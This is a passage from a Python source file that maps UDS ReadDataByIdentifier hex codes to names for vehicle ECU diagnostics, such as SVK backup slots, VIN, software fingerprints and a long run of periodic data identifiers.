"networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fa] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fe] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ff] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf100] = "activeSessionState" UDS_RDBI.dataIdentifiers[0xf101] = "SVK_Aktuell" UDS_RDBI.dataIdentifiers[0xf102] = "SVK_SystemSupplier" UDS_RDBI.dataIdentifiers[0xf103] = "SVK_Werk" UDS_RDBI.dataIdentifiers[0xf104] = "SVK_Backup_01" UDS_RDBI.dataIdentifiers[0xf105] = "SVK_Backup_02" UDS_RDBI.dataIdentifiers[0xf106] = "SVK_Backup_03" UDS_RDBI.dataIdentifiers[0xf107] = "SVK_Backup_04" UDS_RDBI.dataIdentifiers[0xf108] = "SVK_Backup_05" UDS_RDBI.dataIdentifiers[0xf109] = "SVK_Backup_06" UDS_RDBI.dataIdentifiers[0xf10a] = "SVK_Backup_07" UDS_RDBI.dataIdentifiers[0xf10b] = "SVK_Backup_08" UDS_RDBI.dataIdentifiers[0xf10c] = "SVK_Backup_09" UDS_RDBI.dataIdentifiers[0xf10d] = "SVK_Backup_10" UDS_RDBI.dataIdentifiers[0xf10e] = "SVK_Backup_11" UDS_RDBI.dataIdentifiers[0xf10f] = "SVK_Backup_12" UDS_RDBI.dataIdentifiers[0xf110] = "SVK_Backup_13" UDS_RDBI.dataIdentifiers[0xf111] = "SVK_Backup_14" UDS_RDBI.dataIdentifiers[0xf112] = "SVK_Backup_15" UDS_RDBI.dataIdentifiers[0xf113] = "SVK_Backup_16" UDS_RDBI.dataIdentifiers[0xf114] = "SVK_Backup_17" UDS_RDBI.dataIdentifiers[0xf115] = "SVK_Backup_18" UDS_RDBI.dataIdentifiers[0xf116] = "SVK_Backup_19" UDS_RDBI.dataIdentifiers[0xf117] = "SVK_Backup_20" UDS_RDBI.dataIdentifiers[0xf118] = "SVK_Backup_21" UDS_RDBI.dataIdentifiers[0xf119] = "SVK_Backup_22" UDS_RDBI.dataIdentifiers[0xf11a] = "SVK_Backup_23" UDS_RDBI.dataIdentifiers[0xf11b] = "SVK_Backup_24" UDS_RDBI.dataIdentifiers[0xf11c] = "SVK_Backup_25" UDS_RDBI.dataIdentifiers[0xf11d] = "SVK_Backup_26" UDS_RDBI.dataIdentifiers[0xf11e] = "SVK_Backup_27" UDS_RDBI.dataIdentifiers[0xf11f] = "SVK_Backup_28" UDS_RDBI.dataIdentifiers[0xf120] = "SVK_Backup_29" UDS_RDBI.dataIdentifiers[0xf121] = "SVK_Backup_30" UDS_RDBI.dataIdentifiers[0xf122] = "SVK_Backup_31" UDS_RDBI.dataIdentifiers[0xf123] = "SVK_Backup_32" UDS_RDBI.dataIdentifiers[0xf124] = "SVK_Backup_33" UDS_RDBI.dataIdentifiers[0xf125] = "SVK_Backup_34" UDS_RDBI.dataIdentifiers[0xf126] = "SVK_Backup_35" UDS_RDBI.dataIdentifiers[0xf127] = "SVK_Backup_36" UDS_RDBI.dataIdentifiers[0xf128] = "SVK_Backup_37" UDS_RDBI.dataIdentifiers[0xf129] = "SVK_Backup_38" UDS_RDBI.dataIdentifiers[0xf12a] = "SVK_Backup_39" UDS_RDBI.dataIdentifiers[0xf12b] = "SVK_Backup_40" UDS_RDBI.dataIdentifiers[0xf12c] = "SVK_Backup_41" UDS_RDBI.dataIdentifiers[0xf12d] = "SVK_Backup_42" UDS_RDBI.dataIdentifiers[0xf12e] = "SVK_Backup_43" UDS_RDBI.dataIdentifiers[0xf12f] = "SVK_Backup_44" UDS_RDBI.dataIdentifiers[0xf130] = "SVK_Backup_45" UDS_RDBI.dataIdentifiers[0xf131] = "SVK_Backup_46" UDS_RDBI.dataIdentifiers[0xf132] = "SVK_Backup_47" UDS_RDBI.dataIdentifiers[0xf133] = "SVK_Backup_48" UDS_RDBI.dataIdentifiers[0xf134] = "SVK_Backup_49" UDS_RDBI.dataIdentifiers[0xf135] = "SVK_Backup_50" UDS_RDBI.dataIdentifiers[0xf136] = "SVK_Backup_51" UDS_RDBI.dataIdentifiers[0xf137] = "SVK_Backup_52" UDS_RDBI.dataIdentifiers[0xf138] = "SVK_Backup_53" UDS_RDBI.dataIdentifiers[0xf139] = "SVK_Backup_54" UDS_RDBI.dataIdentifiers[0xf13a] = "SVK_Backup_55" UDS_RDBI.dataIdentifiers[0xf13b] = "SVK_Backup_56" UDS_RDBI.dataIdentifiers[0xf13c] = "SVK_Backup_57" UDS_RDBI.dataIdentifiers[0xf13d] = "SVK_Backup_58" UDS_RDBI.dataIdentifiers[0xf13e] = "SVK_Backup_59" UDS_RDBI.dataIdentifiers[0xf13f] = "SVK_Backup_60" UDS_RDBI.dataIdentifiers[0xf140] = "SVK_Backup_61" UDS_RDBI.dataIdentifiers[0xf150] = "SGBDIndex" UDS_RDBI.dataIdentifiers[0xf15a] = "fingerprint" UDS_RDBI.dataIdentifiers[0xf180] = "bootSoftwareIdentification" UDS_RDBI.dataIdentifiers[0xf181] = "applicationSoftwareIdentification" UDS_RDBI.dataIdentifiers[0xf182] = "applicationDataIdentification" UDS_RDBI.dataIdentifiers[0xf183] = "bootSoftwareFingerprint" UDS_RDBI.dataIdentifiers[0xf184] = "applicationSoftwareFingerprint" UDS_RDBI.dataIdentifiers[0xf185] = "applicationDataFingerprint" UDS_RDBI.dataIdentifiers[0xf186] = "activeDiagnosticSession" UDS_RDBI.dataIdentifiers[0xf187] = "vehicleManufacturerSparePartNumber" UDS_RDBI.dataIdentifiers[0xf188] = "vehicleManufacturerECUSoftwareNumber" UDS_RDBI.dataIdentifiers[0xf189] = "vehicleManufacturerECUSoftwareVersionNumber" # noqa E501 UDS_RDBI.dataIdentifiers[0xf18a] = "systemSupplierIdentifier" UDS_RDBI.dataIdentifiers[0xf18b] = "ECUManufacturingDate" UDS_RDBI.dataIdentifiers[0xf18c] = "ECUSerialNumber" UDS_RDBI.dataIdentifiers[0xf18d] = "supportedFunctionalUnits" UDS_RDBI.dataIdentifiers[0xf190] = "VIN" UDS_RDBI.dataIdentifiers[0xf191] = "vehicleManufacturerECUHardwareNumber" UDS_RDBI.dataIdentifiers[0xf192] = "systemSupplierECUHardwareNumber" UDS_RDBI.dataIdentifiers[0xf193] = "systemSupplierECUHardwareVersionNumber" UDS_RDBI.dataIdentifiers[0xf194] = "systemSupplierECUSoftwareNumber" UDS_RDBI.dataIdentifiers[0xf195] = "systemSupplierECUSoftwareVersionNumber" UDS_RDBI.dataIdentifiers[0xf196] = "exhaustRegulationOrTypeApprovalNumber" UDS_RDBI.dataIdentifiers[0xf197] = "systemNameOrEngineType" UDS_RDBI.dataIdentifiers[0xf198] = "repairShopCodeOrTesterSerialNumber" UDS_RDBI.dataIdentifiers[0xf199] = "programmingDate" UDS_RDBI.dataIdentifiers[0xf19a] = "calibrationRepairShopCodeOrCalibrationEquipmentSerialNumber" # noqa E501 UDS_RDBI.dataIdentifiers[0xf19b] = "calibrationDate" UDS_RDBI.dataIdentifiers[0xf19c] = "calibrationEquipmentSoftwareNumber" UDS_RDBI.dataIdentifiers[0xf19d] = "ECUInstallationDate" UDS_RDBI.dataIdentifiers[0xf19e] = "ODXFileIdentifier" UDS_RDBI.dataIdentifiers[0xf19f] = "entityIdentifier" UDS_RDBI.dataIdentifiers[0xf200] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf201] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf202] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf203] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf204] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf205] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf206] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf207] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf208] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf209] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf210] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf211] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf212] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf213] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf214] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf215] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf216] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf217] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf218] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf219] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf220] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf221] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf222] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf223] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf224] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf225] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf226] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf227] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf228] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf229] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf230] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf231] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf232] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf233] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf234] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf235] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf236] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf237] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf238] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf239] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf240] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf241] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf242] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf243] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf244] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf245] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf246] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf247] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf248] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf249] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf250] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf251] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf252] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf253] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf254] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf255] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf256] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf257] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf258] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf259] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf260] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf261] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf262] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf263] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf264] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf265] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf266] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf267] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf268] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf269] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf270] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf271] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf272] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf273] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf274] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf275] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf276] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf277] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf278] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf279] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf280] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf281] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf282] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf283] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf284] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf285] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf286] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf287] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf288] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf289] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf290] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf291] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf292] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf293] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf294] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf295] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf296] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf297] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf298] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf299] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2aa] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ab] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ac] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ad] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ae] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2af] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ba] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2be] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bf] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ca] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ce] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cf] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2da] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2db] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2dc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2dd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2de] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2df] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ea] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2eb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ec] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ed] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ee] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ef] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f1] = "periodicDataIdentifier_F200_F2FF" 